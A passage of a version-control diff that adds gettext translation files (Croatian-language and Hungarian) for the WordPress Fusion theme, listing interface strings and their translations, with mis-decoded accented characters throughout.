+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Prebaci izmeÄu pune i fiksne Å¡irine"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Opcije Fushion teme"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta kljuÄne rijeÄi:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "Odvoji zarezima"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Koristi prilagoÄenu sliku kao logo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "UÄitaj svoj logo kao \"logo.png\" u direktory teme:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "Trebali biste izvesti logo sliku sa omoguÄenom prozirnoÅ¡Äu"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "OnemoguÄi tab Naslovnica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "OznaÄite ovo ako koristite statiÄnu stranicu kao poÄetnu stranicu"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "PokaÅŸi kategorije kao tabove u zaglavljima"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(umjesto stranica)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "OnemoguÄi zadani blok kategorije u margini (sidebar)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "OznaÄite ako preferirate prikaz kategorija kao widget ili samo ÅŸelite sakriti kategorije"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "OnemoguÄi zadani blok za pretraÅŸivanje u margini (sidebar)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "OznaÄi ako vam ne odgovara izgled bloka za pretraÅŸivanje"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "OnemoguÄi kontrole prikaza (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Zadana Å¡irina stranice za sadrÅŸaj:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fiksno (960 piksela)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "TekuÄe (95% korisnikove Å¡irine ekrana)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Pripazite da ako su opcije prikaza omoguÄene, korisnikova javascript cookie postavka za Å¡irinu stranice Äe premostiti ovu opciju"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "Pozicija margine (sidebar):"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Desno (zadano)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Lijevo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "OnemoguÄi jQuery i povezani kod"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Ovo Äe smanjtii sadrÅŸaj za ~70 KB, ali Äe onemoguÄiti neka svojstva i efekte (kontrole prikaza, rss linkove unutar kategorija, tabove za komentare, povratnice).<br />Ne biste smjeli ovo mijenjati osim ako imate problema sa hosting prometom."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "PrilafoÄeni CSS kod"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Ovdje moÅŸete dodati sve vezano uz dizajn ako imate neko osnovno CSS znanje. OznaÄi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "da vidiÅ¡ postojeÄe stilove, koje moÅŸeÅ¡ redefinirati ovdje."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Nemojte ureÄivati style.css ako ÅŸelite zadrÅŸati vaÅ¡e promjene poslije nadogradnje teme. Korisite ovu opciju umjesto toga."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Spremi promjene"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "by"
+msgstr "od"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s u %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "H:i"
+msgstr "H:i h"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:207
+msgid "Your comment is awaiting moderation."
+msgstr "VaÅ¡ komentar Äeka na moderiranje."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Reply"
+msgstr "Odgovori"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Quote"
+msgstr "Citiraj"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "Vi ste na Naslovnici"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "Naslovnica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Klikni za naslovnicu"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Ovaj unos je postan dana"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "te je smjeÅ¡ten u"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "MoÅŸete pratiti sve odgovore  preko ovog unosa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "MoÅŸete <a href=\"#respond\">ostaviti odgovor</a>, ili <a href=\"%s\" rel=\"trackback\">poveznicu</a> sa svoje osobne stranice."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Odgovori su trenutno zatvoreni, ali moÅŸete<a href=\"%s\" rel=\"trackback\">povezati</a> sa svojom stranicom."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "MoÅŸete preskoÄiti na kraj i ostaviti odgovor. Pinganje trenutno nije dozvoljeno."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "I komentari i pingovi su trenutno zatvoreni."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Uredi ovaj unos"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Sorry, nema privitaka koji odgovoraju vaÅ¡em upitu."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "Nije pronaÄeno"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Sorry, ali vi traÅŸite neÅ¡to Å¡to nije ovdje."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Linkovi:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "ProÄitajte ostatak ove stranice &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "Rezultati pretraÅŸivanja"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Nema pronaÄenih postova. PokuÅ¡ajte drugaÄije pretraÅŸivanje."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "TraÅŸi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "Trenutno pregledavate arhivu kategorije %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Trenutno pregledavate arhivu za %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Trenutno pregledavate arhivu za godinu %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "PretraÅŸili ste arhive za"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "Trenutno pregledavate arhive."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Arhive"
+
+# Ovo je moj komentar
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "Sorry, nema postova koji odgovaraju vaÅ¡im kriterijima."
+
+#~ msgid "Subscribe to comments feed"
+#~ msgstr "Pretplati se kanal komentara"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hu_HU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hu_HU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/hu_HU.po	(revision 44)
@@ -0,0 +1,522 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-14 01:34+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Balint Vereskuti <balint@vereskuti.info>\n"
+"Language-Team: vereskuti.info <balint@vereskuti.info>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Hungarian\n"
+"X-Poedit-Country: HUNGARY\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: .\n"
+"X-Poedit-SearchPath-1: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:8
+msgid "Page not found (404)"
+msgstr "Ez nincs meg (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:10
+msgid "Archive for category"
+msgstr "KategÃ³ria archÃ­vuma: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:12
+msgid "Posts Tagged"
+msgstr "Tagelt hozzÃ¡szÃ³lÃ¡sok"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:18
+msgid "Archive for"
+msgstr "ArchÃ­vum a kÃ¶vetkezÅhÃ¶z:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:32
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:198
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:17
+msgid "F jS, Y"
+msgstr "Y. F. j."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+msgid "F, Y"
+msgstr "Y F"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:18
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:20
+msgid "Author Archive"
+msgstr "SzerzÅ archÃ­vuma"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:22
+msgid "Blog Archives"
+msgstr "Blog archÃ­vuma"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:27
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:11
+msgid "Permanent Link to"
+msgstr "ÃllandÃ³ link a kÃ¶vetkezÅhÃ¶z"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:32
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:17
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Ãrta %s a %s kategÃ³riÃ¡ban,"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:32
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:17
+#, php-format
+msgid "Posts by %s"
+msgstr "%s hozzÃ¡szÃ³lÃ¡sai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:32
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:17
+msgid "on"
+msgstr "dÃ¡tum: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:39
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:18
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:25
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:21
+msgid "Read the rest of this entry &raquo;"
+msgstr "BejegyzÃ©s rÃ©szleteinek olvasÃ¡sa &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:51
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:37
+msgid "No Comments"
+msgstr "Nincsenek hozzÃ¡szÃ³lÃ¡sok"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:51
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:37
+msgid "1 Comment"
+msgstr "1 hozzÃ¡szÃ³lÃ¡s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:51
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:37
+msgid "% Comments"
+msgstr "% hozzÃ¡szÃ³lÃ¡s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:62
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+msgid "&laquo; Older Entries"
+msgstr "&laquo; RÃ©gebbi hozzÃ¡szÃ³lÃ¡sok"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:50
+msgid "Newer Entries &raquo;"
+msgstr "Ãjabb hozzÃ¡szÃ³lÃ¡sok &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:69
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "SajnÃ¡ljuk, egyelÅre mÃ©g nincs ilyen hozzÃ¡szÃ³lÃ¡s a %s kategÃ³riÃ¡ban."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:71
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "SajnÃ¡ljuk, de nincsenek hozzÃ¡szÃ³lÃ¡sok ezzel a dÃ¡tummal."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "SajnÃ¡ljuk, de %s mÃ©g szÃ³lt hozzÃ¡."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:76
+msgid "No posts found."
+msgstr "Nincs hozzÃ¡szÃ³lÃ¡s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:13
+msgid "Archives by Month:"
+msgstr "ArchÃ­v adatok hÃ³nap szerint:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:18
+msgid "Archives by Subject:"
+msgstr "ArchÃ­v adatok tÃ¡rgy szerint:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:6
+msgid "Enter your password to view comments"
+msgstr "Adja meg jelszavÃ¡t a hozzÃ¡szÃ³lÃ¡sok megtekintÃ©sÃ©hez"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Comments"
+msgstr "HozzÃ¡szÃ³lÃ¡sok"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:23
+msgid "Trackbacks"
+msgstr "VisszajelzÃ©sek"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:42
+msgid "No comments yet."
+msgstr "MÃ©g nem Ã©rkezett hozzÃ¡szÃ³lÃ¡s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:63
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "KÃ©rjÃŒk, <a href=\"%s\">jelentkezzen be</a> a hozzÃ¡szÃ³lÃ¡shoz!"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:71
+msgid "Logged in as"
+msgstr "Bejelentkezve, mint "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:71
+msgid "Log out of this account"
+msgstr "KijelentkezÃ©s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:71
+msgid "Logout &raquo;"
+msgstr "KijelentkezÃ©s &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:74
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Ãdv Ãºjra <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:74
+msgid "Change &raquo;"
+msgstr "MegvÃ¡ltoztat &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:74
+msgid "Close &raquo;"
+msgstr "BezÃ¡rÃ¡s &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:79
+msgid "Name"
+msgstr "NÃ©v"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:79
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:83
+msgid "(required)"
+msgstr "(kÃ¶telezÅ)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:83
+msgid "E-Mail"
+msgstr "e-mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:83
+msgid "(will not be published)"
+msgstr "(nem lesz lÃ¡thatÃ³ mÃ¡s szÃ¡mÃ¡ra)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:87
+msgid "Website"
+msgstr "Weboldal"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:105
+msgid "Submit Comment"
+msgstr "HozzÃ¡szÃ³lÃ¡s elkÃŒldÃ©se"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:108
+msgid "Subscribe to comments feed"
+msgstr "FeliratkozÃ¡s a hozzÃ¡szÃ³lÃ¡sok kÃ¶vetÃ©sÃ©re"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:123
+msgid "No trackbacks yet."
+msgstr "Nincs visszajelzÃ©s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:134
+msgid "Comments are closed."
+msgstr "HozzÃ¡szÃ³lÃ¡sok lezÃ¡rva."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion tÃ©mÃ¡t csinÃ¡lta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "tÃ¡mogatja a "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "BejegyzÃ©sek (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "Ã©s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "HozzÃ¡szÃ³lÃ¡sok (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "SzÃ¶veg mÃ©retÃ©t nÃ¶velni/csÃ¶kkenteni"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Teljes Ã©s rÃ¶gzÃ­tett mÃ©ret kÃ¶zÃ¶tti vÃ¡ltÃ¡s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Fusion TÃ©ma BeÃ¡llÃ­tÃ¡sai"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta kulcsszavak:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "VesszÅvel elvÃ¡lasztva"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "SajÃ¡t logo, kÃ©p"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "TÃ¶ltse fel sajÃ¡t logojÃ¡t \"logo.png\" formÃ¡tumban a tÃ©ma kÃ¶nyvtÃ¡rÃ¡ba:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "SajÃ¡t logÃ³jÃ¡t Ã¡tlÃ¡tszÃ³ formÃ¡tum-tÃ¡mogatÃ¡ssal exportÃ¡lja"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "KezdÅoldal letiltÃ¡sa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Akkor hasznÃ¡lja, ha kezdÅoldalkÃ©nt statikus oldalt Ã¡llÃ­tott be"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "KategÃ³riÃ¡kat jelenÃ­tse meg menÃŒkÃ©nt"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(az oldalak helyett)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "AlapÃ©rtelmezett kategÃ³ria rÃ©sz tiltÃ¡sa az oldalsÃ³ menÃŒben"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Kapcsolja be, ha a widgetek szeretnÃ© hasznÃ¡lni, vagy ha el akarja rejteni a kategÃ³riÃ¡kat"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "AlapÃ©rtelmezett keresÃ©si mezÅ elrejtÃ©se az oldalsÃ³ menÃŒben"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Kapcsolja be, ha nem szereti a tÃ©ma alapÃ©rtelmezett keresÅjÃ©t"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "KinÃ©zet vÃ¡ltoztatÃ¡sÃ¡nak tiltÃ¡sa (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "BejegyzÃ©sek alapÃ©rtelmezett szÃ©lessÃ©ge:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fix (960 pixel)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "VÃ¡ltozÃ³ (95%, a lÃ¡togatÃ³ kÃ©pernyÅfelbontÃ¡sÃ¡nak megfelelÅen)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Figyeljen arra, hogy amennyiben a kinÃ©zet vÃ¡ltoztatÃ¡sa engedÃ©lyezett, akkor a lÃ¡togatÃ³ javascriptes oldalszÃ©lessÃ©gÃ©nek sÃŒti-beÃ¡llÃ­tÃ¡sai felÃŒlÃ­rjÃ¡k ezt a lehetÅsÃ©get"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "OldalsÃ³ menÃŒ helye:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Jobb (alapÃ©rtelmezett)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Bal"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "jQuery Ã©s a hozzÃ¡ tartÃ³zÃ³ kÃ³dok letiltÃ¡sa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Ez az oldal betÃ¶ltÅdÃ©sÃ©t gyorsÃ­tja (~70 KB), azonban nÃ©hÃ¡ny funkciÃ³ nem lesz elÃ©rhetÅ (kinÃ©zet vÃ¡ltoztatÃ¡sa, rss a kategÃ³riÃ¡kban, hozzÃ¡szÃ³lÃ¡s fÃŒl, visszautalÃ¡s).<br />Ne vÃ¡ltoztassa, csak ha szolgÃ¡ltatÃ³jÃ¡val sÃ¡vszÃ©lessÃ©g-problÃ©ma merÃŒl fel!"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "EgyÃ©ni CSS kÃ³d"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Ãrja ide, vagy vÃ¡ltoztassa meg itt a dizÃ¡jnnal Ã¶sszefÃŒggÅ kÃ³dokat - alapvetÅ CSS ismeret szÃŒksÃ©ges. TanulmÃ¡nyozza a "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "fÃ¡jlban a meglÃ©vÅ stÃ­lusokat, melyeket itt tud megvÃ¡ltoztatni."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
